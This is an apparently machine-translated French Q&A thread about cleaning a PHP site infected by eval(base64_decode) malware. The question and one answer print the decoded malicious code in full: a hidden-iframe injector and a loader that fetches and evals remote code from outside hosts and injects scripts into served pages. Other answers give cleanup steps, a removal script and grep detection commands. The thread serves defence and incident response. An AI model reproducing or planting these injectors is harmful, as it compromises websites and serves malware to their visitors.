web-dev-qa-db-fra.com

Comment se débarrasser de eval-base64_decode comme PHP fichiers de virus?

Mon site (très grand site Web communautaire) a récemment été infecté par un virus. Chaque fichier index.php a été modifié de sorte que la balise php d'ouverture de ces fichiers soit remplacée par la ligne suivante:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0='));

Lorsque j'ai décodé cela, il a généré le code PHP suivant:

    <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array('bot','spider','spyder','crawl','validator','Slurp','docomo','yandex','mail.ru','Alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
    $first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
    if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
    if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}

J'ai essayé plusieurs choses pour nettoyer le virus, même en restaurant à partir d'une sauvegarde et les fichiers sont réinfectés au bout de quelques minutes ou quelques heures. Alors pouvez-vous s'il vous plaît m'aider?

Que savez-vous de ce virus?

Existe-t-il un trou de sécurité connu utilisé pour installer et propager?

Qu'est-ce que le code php ci-dessus fait réellement?

Que fait la page intégrée dans l'iframe?

Et bien sûr, plus important encore: Que puis-je faire pour m'en débarrasser?

S'il vous plaît, aidez-nous, nous sommes presque à court d'idées et d'espoir :(

UPDATE1 Quelques détails supplémentaires: Une chose étrange est: la première fois que nous avons vérifié les fichiers infectés. Ils ont été changés mais leur heure modifiée dans le programme ftp montrait que le dernier accès avait été de quelques jours, mois, voire années, dans certains cas! Comment est-ce possible? Il me rend fou!

UPDATE 2 Je pense que le problème est survenu après qu'un utilisateur a installé un plugin dans son installation Wordpress. Après la restauration à partir de la sauvegarde et la suppression complète du dossier Wordpress et de la base de données associée, le problème semble avoir disparu. Nous sommes actuellement abonnés à un service de sécurité et ils enquêtent sur le problème juste pour être sûr que le piratage est parti pour de bon. Merci à tous ceux qui ont répondu.

36
fractalbit

Les étapes pour récupérer et désinfecter votre site (à condition que vous ayez une bonne sauvegarde connue).

1) Fermer le site

Vous devez essentiellement fermer la porte de votre site avant de procéder aux travaux correctifs. Cela empêchera les visiteurs d’obtenir du code malveillant, de voir les messages d’erreur, etc. Ce n’est que bonne pratique.

Vous devriez pouvoir le faire en insérant ce qui suit dans votre fichier .htaccess dans la racine Web. (Remplacez "!! Votre adresse IP ici !!" par votre propre adresse IP - voir http://icanhazip.com si vous ne connaissez pas votre adresse IP.)

order deny,allow
deny from all
allow from !!Your IP Address Here!!

2) Téléchargez une copie de tous vos fichiers du serveur

Téléchargez le tout dans un dossier séparé de vos bonnes sauvegardes. Cela peut prendre un certain temps (en fonction de la taille de votre site, de la vitesse de connexion, etc.).

3) Téléchargez et installez un utilitaire de comparaison de fichiers/dossiers

Sur une machine Windows, vous pouvez utiliser WinMerge - http://winmerge.org/ - c'est gratuit et assez puissant . Sur une machine MacOS, consultez la liste des remplaçants possibles de Alternative.to.

4) Exécuter l'utilitaire de comparaison de fichiers/dossiers

Vous devriez vous retrouver avec quelques résultats différents:

  • Les fichiers sont identiques: le fichier actuel est identique à votre sauvegarde et n'est donc pas affecté.
  • Fichier du côté gauche/droit uniquement - Ce fichier n'existe que dans la sauvegarde (et peut avoir été supprimé du serveur) ou n'existe que sur le serveur (et peut avoir été injecté/créé par le pirate informatique).
  • Le fichier est différent - Le fichier sur le serveur n'est pas le même que celui de la sauvegarde, il a donc peut-être été modifié par vous (pour le configurer pour le serveur) ou par le pirate informatique (pour injecter du code).

5) Résoudre les différences

(a.k.a "Pourquoi ne pouvons-nous pas tous nous entendre?")

Pour Fichiers qui sont identiques, aucune action supplémentaire n'est requise . Pour Fichiers qui n'existent que d'un côté, examinez le fichier et déterminez s'il est légitime (c'est-à-dire que les téléchargements des utilisateurs doivent être effectués). là, des fichiers supplémentaires que vous avez peut-être ajoutés, etc.) Pour Fichiers qui sont différents, examinez le fichier (l’utilitaire File Difference peut même vous montrer les lignes ajoutées/modifiées/supprimées) et voir si la version du serveur est valide. Écrasez (avec la version sauvegardée) tous les fichiers contenant du code malveillant.

6) Passez en revue vos précautions de sécurité

Que ce soit aussi simple que de changer vos mots de passe FTP/cPanel, ou de revoir votre utilisation de ressources externes/non contrôlées (lorsque vous mentionnez que vous effectuez beaucoup de fonctions d’outils, de ressources, etc.), vous pouvez vérifier les paramètres qui leur sont transmis. est un moyen de rendre les scripts extraire du code malveillant), etc.

7) Vérifiez les travaux du site

Saisissez l’occasion d’être la seule personne sur le site à vérifier que tout fonctionne comme prévu, après la correction des fichiers infectés et la suppression des fichiers malveillants.

8) Ouvrez les portes

Inversez les modifications apportées dans le fichier .htaccess à l'étape 1. Regardez attentivement. Gardez un œil sur vos visiteurs et les journaux d’erreurs pour voir si quelqu'un tente de déclencher les fichiers malveillants supprimés, etc.

9) Envisager des méthodes de détection automatisées

Il existe plusieurs solutions, qui vous permettent d’effectuer une vérification automatisée de votre hôte (à l’aide d’un travail CRON), qui détectera et détaillera les modifications éventuelles. Certains sont un peu verbeux (vous recevrez un email pour chaque fichier modifié), mais vous devriez pouvoir les adapter à vos besoins:

10) Avoir des sauvegardes planifiées et conserver un bon support

Assurez-vous d’avoir planifié des sauvegardes sur votre site Web, gardez-en quelques-unes afin de pouvoir revenir en arrière si nécessaire. Par exemple, si vous avez effectué des sauvegardes hebdomadaires, vous souhaiterez peut-être conserver les éléments suivants:

  • 4 x sauvegardes hebdomadaires
  • 4 x sauvegardes mensuelles (vous conservez l'une des sauvegardes hebdomadaires, peut-être la première semaine du mois, en tant que sauvegarde mensuelle)

Cela facilitera toujours la vie si vous avez quelqu'un qui attaque votre site avec quelque chose d'un peu plus destructeur qu'une attaque par injection de code.

Oh, et assurez-vous de sauvegarder vos bases de données aussi - avec beaucoup de sites basés sur des CMS, il est agréable d'avoir les fichiers, mais si vous perdez/corrompez la base de données derrière eux, les sauvegardes sont fondamentalement inutiles.

48
Luke Stevenson

J'ai souffert du même travail de piratage. J'ai également été capable de déchiffrer le code, et alors que j'avais un code php différent, j'ai commencé par supprimer le texte php injecté en passant en revue chaque fichier php du site et en supprimant l'appel eval. Je suis encore en train de chercher comment j'ai commencé, mais voici à quoi ressemblait le mien après le décryptage de ce site:

Pour décoder le script php crypté sur chaque fichier php, utilisez ceci: http://www.opinionatedgeek.com/dotnet/tools/base64decode/

Et en formatant le résultat en utilisant ce type: http://beta.phpformatter.com/

Pour nettoyer, vous devez supprimer la ligne "eval" en haut de chaque fichier php et supprimer les dossiers .log du dossier de base du site Web.

J'ai trouvé un script python que j'ai légèrement modifié pour supprimer le cheval de Troie dans les fichiers php. Je le posterai ici pour que les autres utilisateurs puissent l'utiliser: Code source du fil: remplacer TOUTES les instances d'un caractère par une autre dans tous les fichiers de manière hiérarchique dans l'arborescence

import os
import re
import sys

def try_to_replace(fname):
    if replace_extensions: 
        return fname.lower().endswith(".php")
    return True


def file_replace(fname, pat, s_after):
    # first, see if the pattern is even in the file.
    with open(fname) as f:
        if not any(re.search(pat, line) for line in f):
            return # pattern does not occur in file so we are done.

    # pattern is in the file, so perform replace operation.
    with open(fname) as f:
        out_fname = fname + ".tmp"
        out = open(out_fname, "w")
        for line in f:
            out.write(re.sub(pat, s_after, line))
        out.close()
        os.rename(out_fname, fname)


def mass_replace(dir_name, s_before, s_after):
    pat = re.compile(s_before)
    for dirpath, dirnames, filenames in os.walk(dir_name):
        for fname in filenames:
            if try_to_replace(fname):
                print "cleaning: " + fname
                fullname = os.path.join(dirpath, fname)
                file_replace(fullname, pat, s_after)

if len(sys.argv) != 2:
    u = "Usage: rescue.py <dir_name>\n"
    sys.stderr.write(u)
    sys.exit(1)

mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")

utiliser le type

python rescue.py rootfolder

Voici ce que le script malveillant essayait de faire:

<?php

if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
    $_SERVER['mr_no'] = 1;
    if (!function_exists('mrobh')) {
        function get_tds_777($url)
        {
            $content = "";
            $content = @trycurl_777($url);
            if ($content !== false)
                return $content;

            $content = @tryfile_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfopen_777($url);
            if ($content !== false)
                return $content;
            $content = @tryfsockopen_777($url);
            if ($content !== false)
                return $content;
            $content = @trysocket_777($url);
            if ($content !== false)
                return $content;
            return '';
        }

        function trycurl_777($url)
        {
            if (function_exists('curl_init') === false)
                return false;
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 5);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            $result = curl_exec($ch);
            curl_close($ch);
            if ($result == "")
                return false;
            return $result;
        }
        function tryfile_777($url)
        {
            if (function_exists('file') === false)
                return false;
            $inc = @file($url);
            $buf = @implode('', $inc);
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfopen_777($url)
        {
            if (function_exists('fopen') === false)
                return false;
            $buf = '';
            $f   = @fopen($url, 'r');
            if ($f) {
                while (!feof($f)) {
                    $buf .= fread($f, 10000);
                }
                fclose($f);
            } else
                return false;
            if ($buf == "")
                return false;
            return $buf;
        }
        function tryfsockopen_777($url)
        {
            if (function_exists('fsockopen') === false)
                return false;
            $p    = @parse_url($url);
            $Host = $p['Host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $f    = @fsockopen($Host, 80, $errno, $errstr, 30);
            if (!$f)
                return false;
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $Host\n\n";
            fwrite($f, $request);
            $buf = '';
            while (!feof($f)) {
                $buf .= fread($f, 10000);
            }
            fclose($f);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function trysocket_777($url)
        {
            if (function_exists('socket_create') === false)
                return false;
            $p    = @parse_url($url);
            $Host = $p['Host'];
            $uri  = $p['path'] . '?' . $p['query'];
            $ip1  = @gethostbyname($Host);
            $ip2  = @long2ip(@ip2long($ip1));
            if ($ip1 != $ip2)
                return false;
            $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
            if (!@socket_connect($sock, $ip1, 80)) {
                @socket_close($sock);
                return false;
            }
            $request = "GET $uri HTTP/1.0\n";
            $request .= "Host: $Host\n\n";
            socket_write($sock, $request);
            $buf = '';
            while ($t = socket_read($sock, 10000)) {
                $buf .= $t;
            }
            @socket_close($sock);
            if ($buf == "")
                return false;
            list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
            return $buf;
        }
        function update_tds_file_777($tdsfile)
        {
            $actual1 = $_SERVER['s_a1'];
            $actual2 = $_SERVER['s_a2'];
            $val     = get_tds_777($actual1);
            if ($val == "")
                $val = get_tds_777($actual2);
            $f = @fopen($tdsfile, "w");
            if ($f) {
                @fwrite($f, $val);
                @fclose($f);
            }
            if (strstr($val, "|||CODE|||")) {
                list($val, $code) = explode("|||CODE|||", $val);
                eval(base64_decode($code));
            }
            return $val;
        }
        function get_actual_tds_777()
        {
            $defaultdomain = $_SERVER['s_d1'];
            $dir           = $_SERVER['s_p1'];
            $tdsfile       = $dir . "log1.txt";
            if (@file_exists($tdsfile)) {
                $mtime = @filemtime($tdsfile);
                $ctime = time() - $mtime;
                if ($ctime > $_SERVER['s_t1']) {
                    $content = update_tds_file_777($tdsfile);
                } else {
                    $content = @file_get_contents($tdsfile);
                }
            } else {
                $content = update_tds_file_777($tdsfile);
            }
            $tds = @explode("\n", $content);
            $c   = @count($tds) + 0;
            $url = $defaultdomain;
            if ($c > 1) {
                $url = trim($tds[mt_Rand(0, $c - 2)]);
            }
            return $url;
        }
        function is_mac_777($ua)
        {
            $mac = 0;
            if (stristr($ua, "mac") || stristr($ua, "safari"))
                if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
                    $mac = 1;
            return $mac;
        }
        function is_msie_777($ua)
        {
            $msie = 0;
            if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
                $msie = 1;
            return $msie;
        }
        function setup_globals_777()
        {
            $rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
            $mz = "/tmp/";
            if (!@is_dir($rz)) {
                @mkdir($rz);
                if (@is_dir($rz)) {
                    $mz = $rz;
                } else {
                    $rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
                    if (!@is_dir($rz)) {
                        @mkdir($rz);
                        if (@is_dir($rz)) {
                            $mz = $rz;
                        }
                    } else {
                        $mz = $rz;
                    }
                }
            } else {
                $mz = $rz;
            }
            $bot = 0;
            $ua  = $_SERVER['HTTP_USER_AGENT'];
            if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
                $bot = 1;
            if (stristr($ua, "bingbot") || stristr($ua, "google"))
                $bot = 1;
            $msie = 0;
            if (is_msie_777($ua))
                $msie = 1;
            $mac = 0;
            if (is_mac_777($ua))
                $mac = 1;
            if (($msie == 0) && ($mac == 0))
                $bot = 1;
            global $_SERVER;
            $_SERVER['s_p1']     = $mz;
            $_SERVER['s_b1']     = $bot;
            $_SERVER['s_t1']     = 1200;
            $_SERVER['s_d1']     = base64_decode('http://ens122zzzddazz.com/');
            $d                   = '?d=' . urlencode($_SERVER["HTTP_Host"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
            $_SERVER['s_a1']     = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
            $_SERVER['s_a2']     = base64_decode('http://nlinthewood.com/g_load.php') . $d;
            $_SERVER['s_script'] = "nl.php?p=d";
        }
        setup_globals_777();
        if (!function_exists('gml_777')) {
            function gml_777()
            {
                $r_string_777 = '';
                if ($_SERVER['s_b1'] == 0)
                    $r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
                return $r_string_777;
            }
        }
        if (!function_exists('gzdecodeit')) {
            function gzdecodeit($decode)
            {
                $t     = @ord(@substr($decode, 3, 1));
                $start = 10;
                $v     = 0;
                if ($t & 4) {
                    $str = @unpack('v', substr($decode, 10, 2));
                    $str = $str[1];
                    $start += 2 + $str;
                }
                if ($t & 8) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 16) {
                    $start = @strpos($decode, chr(0), $start) + 1;
                }
                if ($t & 2) {
                    $start += 2;
                }
                $ret = @gzinflate(@substr($decode, $start));
                if ($ret === FALSE) {
                    $ret = $decode;
                }
                return $ret;
            }
        }
        function mrobh($content)
        {
            @Header('Content-Encoding: none');
            $decoded_content = gzdecodeit($content);
            if (preg_match('/\<\/body/si', $decoded_content)) {
                return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
            } else {
                return $decoded_content . gml_777();
            }
        }
        ob_start('mrobh');
    }
}

?> 
2
Erion Omeri

Pour vous débarrasser de ces programmes malveillants PHP, vous devez simplement les supprimer. Si le fichier est infecté, vous ne devez supprimer que la partie qui semble suspecte.

Il est toujours difficile de trouver ces fichiers, car ils sont généralement multiples sur la racine Web.

Habituellement, si vous voyez une sorte d’obscurcissement, c’est une alerte rouge pour vous.

La plupart des malwares sont faciles à trouver en fonction des fonctions courantes qu'ils utilisent, notamment:

  • base64_decode,
  • lzw_decompress,
  • eval,
  • etc

En utilisant le format de codage, ils compactent leur taille et les rendent plus difficiles à décoder par des utilisateurs non expérimentés.

Voici quelques commandes grep qui peuvent trouver le malware le plus courant PHP code:

grep -R return.*base64_decode  .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

Vous pouvez exécuter ces commandes sur le serveur ou une fois que vous avez synchronisé votre site Web sur votre ordinateur local (via FTP, par exemple ncftpget -R).

Ou utilisez des outils d'analyse spécialement conçus pour rechercher ce type de fichiers malveillants, voir: PHP scanners de sécurité .

À des fins éducatives, veuillez trouver la collection suivante de PHP scripts d’exploitation, trouvée lors de l’enquête sur les serveurs piratés disponibles sur kenorb/php-exploit-scripts GitHub (influencée par la collection originale @Mattias ). Cela vous permettra de comprendre à quoi ressemblent ces PHP fichiers suspects. Vous pourrez ainsi apprendre à en trouver davantage sur votre serveur.

Voir aussi: Que fait ce script malveillant PHP?

2
kenorb

D'abord, fermez votre site jusqu'à ce que vous sachiez comment il est entré et comment le réparer. On dirait que cela sert des logiciels malveillants à vos clients.

Ensuite, recherchez dans vos fichiers php fgets, fopen, fputs, eval ou system. Je recommande notepad ++ en raison de sa fonctionnalité "Rechercher dans les fichiers". Assurez-vous également que c'est le seul endroit où votre PHP a été modifié. Avez-vous une copie hors ligne à comparer?

2
Nick ODell

Mes sites Web ou les sites Web que j'ai hébergés ont été victimes d'attaques similaires à plusieurs reprises.

Je présente ce que j'ai fait pour résoudre le problème. Je ne prétends pas que cette approche est la meilleure/la plus facile, mais cela fonctionne et, depuis, je peux garder la balle de manière proactive dans mon champ.

  1. résolvez le problème dès que possible J'ai créé un script très simple PHP (il a été écrit quand le fer était chaud, alors ce n'est peut-être pas le code le plus optimisé MAIS il résout le problème assez rapidement): http : //www.ecommy.com/web-security/clean-php-files-from-eval-infection

  2. assurez-vous de savoir quand quelque chose comme ça frappe encore. Les pirates utilisent toutes sortes d’approches de l'injection SQL de l'un de vos modules externes que vous installez pour forcer brutalement votre panneau d'administration à utiliser des attaques par dictionnaire ou des modèles de mot de passe très connus, tels que 1qaz ... qwerty ... etc ... présentez les scripts ici: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections

  3. l'entrée cron serait quelque chose comme: 0 2 * * 5/root/scripts/base64eval_scan>/dev/null 2> & 1 &

J'ai mis à jour les pages afin que quelqu'un puisse télécharger directement les fichiers. J'espère que ça vous sera utile car c'est pour moi :)

0
Radu
  1. Assurez-vous que toutes les applications Web populaires telles que Wordpress ou vBulletin sont mises à jour. Il existe de nombreux exploits avec les anciennes versions qui pourraient compromettre votre serveur. Cela se reproduira probablement s'ils ne sont pas mis à jour. Aucune utilisation en procédant jusqu'à ce que cela soit fait.

  2. Si les fichiers continuent à être remplacés, un rootkit ou un cheval de Troie est exécuté en arrière-plan. Ce fichier ne peut pas se répliquer. Vous devrez d'abord vous débarrasser du rootkit. Essayez rkhunter , chkrootkit et LMD ​​ . Comparez la sortie de ps aux à un serveur sécurisé et vérifiez /var/tmp et /tmp pour les fichiers suspects. Vous devrez peut-être réinstaller le système d'exploitation. 

  3. Assurez-vous que tous les postes de travail administrant le serveur sont à jour et propres. Ne vous connectez pas via des connexions sans fil non sécurisées et n'utilisez pas d'authentification en texte brut comme avec FTP (utilisez plutôt SFTP). Connectez-vous uniquement aux panneaux de contrôle avec https. 

  4. Pour éviter cela, exécutez csf ou un pare-feu comparable, tous les jours LMD ​​ scans et restez informé des derniers correctifs de sécurité pour toutes les applications du serveur.

0
reflexiv